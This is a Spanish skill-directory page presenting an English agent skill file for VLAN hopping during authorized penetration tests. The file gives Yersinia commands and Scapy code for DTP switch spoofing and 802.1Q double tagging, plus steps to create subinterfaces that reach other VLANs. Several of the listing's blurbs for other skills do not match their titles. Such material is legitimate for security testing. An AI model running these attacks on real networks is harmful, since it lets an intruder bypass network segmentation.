performing-vlan-hopping-attack
Qué hace
Esta función simula ataques de VLAN hopping en redes de prueba autorizadas. Comprueba si la segmentación de red mediante VLAN funciona correctamente y si los puertos de red están seguros.
Cuándo usarla
- ✓Para probar la seguridad de redes que usan VLAN.
- ✓Para verificar si los puertos de red están bien configurados.
- ✓Para mostrar a los equipos de red los riesgos de seguridad.
Link de la skill
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-vlan-hopping-attack/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“Simula un ataque de VLAN hopping en la red de pruebas.”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente intenta engañar a los equipos de red para que piensen que forma parte de un enlace troncal, o envía paquetes con doble etiquetado para acceder a otras redes. Esto se hace con herramientas específicas en un entorno controlado.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
Performing VLAN Hopping Attack
When to Use
- Testing the effectiveness of VLAN-based network segmentation during authorized penetration tests
- Validating that switch trunk port configurations prevent unauthorized VLAN access
- Assessing whether 802.1Q tagging and native VLAN configurations resist double-tagging attacks
- Demonstrating to network teams why proper switch hardening is critical for isolation between zones
- Verifying that DTP (Dynamic Trunking Protocol) is disabled on all access ports
Do not use on production switches without explicit authorization and change management approval, against critical infrastructure VLANs (SCADA, medical devices) without safety controls, or as a denial-of-service vector.
Prerequisites
- Written authorization specifying in-scope VLANs and switches for testing
- Physical or virtual access to a switch access port on the target network
- Yersinia, Scapy, and frogger VLAN hopping tools installed on Kali Linux
- Understanding of 802.1Q trunking, DTP, and VLAN tagging at the frame level
- Access to switch CLI for verification of configurations (read-only is sufficient)
- Wireshark for capturing and verifying tagged frames
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Enumerate VLAN Configuration
# Identify the current VLAN assignment of the attacker port
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null
# Use CDP/LLDP to discover switch information
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# Or use lldpd
lldpcli show neighbors
# If CDP is enabled, capture CDP frames
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
# Use Yersinia to discover DTP and VTP information
sudo yersinia -G &
# Or command line:
sudo yersinia dtp -attack 0 -interface eth0
# This listens for DTP frames to learn trunk negotiation status
# Nmap to identify hosts on other VLANs (if routing exists)
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24
Step 2: Attempt Switch Spoofing (DTP Attack)
# Use Yersinia to send DTP frames and negotiate a trunk
sudo yersinia dtp -attack 1 -interface eth0
# This sends DTP desirable frames to convert the access port to a trunk
# If successful, the port becomes a trunk carrying all VLANs
# Alternatively, use Scapy to craft DTP frames
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *
# Send DTP desirable frame to negotiate trunk
dtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
SNAP(OUI=0x00000c, code=0x2004) /
DTP(tlvlist=[
DTPDomain(type=0x0001, domain=""),
DTPStatus(type=0x0002, status=b"\x03"), # Desirable
DTPType(type=0x0003, dtptype=b"\xa5"), # 802.1Q trunk
DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
])
)
sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP desirable frames sent. Check if trunk is negotiated.")
PYEOF
# If trunk negotiation succeeds, verify by capturing tagged frames
sudo tcpdump -en -i eth0 'vlan' -c 10
# Create VLAN subinterfaces to access other VLANs
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up
# Verify access to other VLANs
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1
Step 3: Attempt Double Tagging Attack
# Double tagging works when:
# 1. Attacker is on the native VLAN of the trunk
# 2. Target VLAN is different from the native VLAN
# 3. The switch strips the outer tag and forwards the inner tag
python3 << 'PYEOF'
from scapy.all import *
# Craft double-tagged frame
# Outer tag: Native VLAN (e.g., VLAN 1)
# Inner tag: Target VLAN (e.g., VLAN 20 - server VLAN)
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"
double_tagged = (
Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
Dot1Q(vlan=1) / # Outer tag: native VLAN (will be stripped)
Dot1Q(vlan=20) / # Inner tag: target VLAN (will be forwarded)
IP(dst=target_ip, src="10.10.20.99") /
ICMP(type=8) # Echo request
)
…
Preguntas frecuentes
¿Qué es el VLAN hopping?
Es un tipo de ataque de red que aprovecha configuraciones incorrectas de los equipos para acceder a redes (VLAN) que no deberían ser accesibles.
¿Puedo usarlo en mi red de producción?
No, esta función solo debe usarse en entornos de prueba autorizados y con permiso explícito. Usarla en producción puede causar problemas graves.
¿Qué herramientas se usan?
Se usan herramientas como Yersinia, Scapy y frogger para simular los ataques en un entorno controlado.
Detalles
Descripción original del autor
Simulates VLAN hopping attacks using switch spoofing and 802.1Q double tagging techniques in authorized lab environments to test VLAN segmentation effectiveness and switch port security. Use during an authorized penetration test to validate trunk port hardening, confirm DTP is disabled on access ports, and demonstrate Layer 2 segmentation bypass risk to network teams.
Popularidad
- Estrellas en GitHub
- 35 mil
- Posición en el ranking
- #8328
- Licencia
- Apache-2.0
- Actualizada
- 31/8/2026
Comentarios
- …
Más skills de este repositorio
abusing-dpapi-for-credential-access
35 milDa a tu agente de IA instrucciones listas para una tarea específica, para que la haga mejor y más rápido.
abusing-shadow-credentials-for-privesc
35 milEnseña a tu agente de IA a escribir textos claros y bien estructurados.
achieving-cmmc-level-2-compliance
35 milAyuda a tu agente a preparar un entorno para el cumplimiento de CMMC Nivel 2. Implementa los requisitos de seguridad y gestiona la documentación necesaria.
acquiring-disk-image-with-dd-and-dcfldd
35 milAyuda a tu agente a crear copias exactas de discos duros. Es útil para asegurar que no se pierda ni altere información durante las investigaciones.
Skills parecidas
add-model-provider
394 milPermite que tu agente conecte un nuevo proveedor de modelos de IA a OpenClaw con comandos de configuración seguros, mantenga las claves API fuera del texto plano y haga una prueba en vivo.
acp-router
394 milAyuda a tu agente a enviar una tarea a un asistente de programación como Claude Code o Cursor a través de OpenClaw, para que el trabajo se ejecute en esa herramienta.
browser-automation
394 milEnseña a tu agente a controlar páginas web paso a paso, incluidos los inicios de sesión, las pestañas y la recuperación cuando una página deja de responder.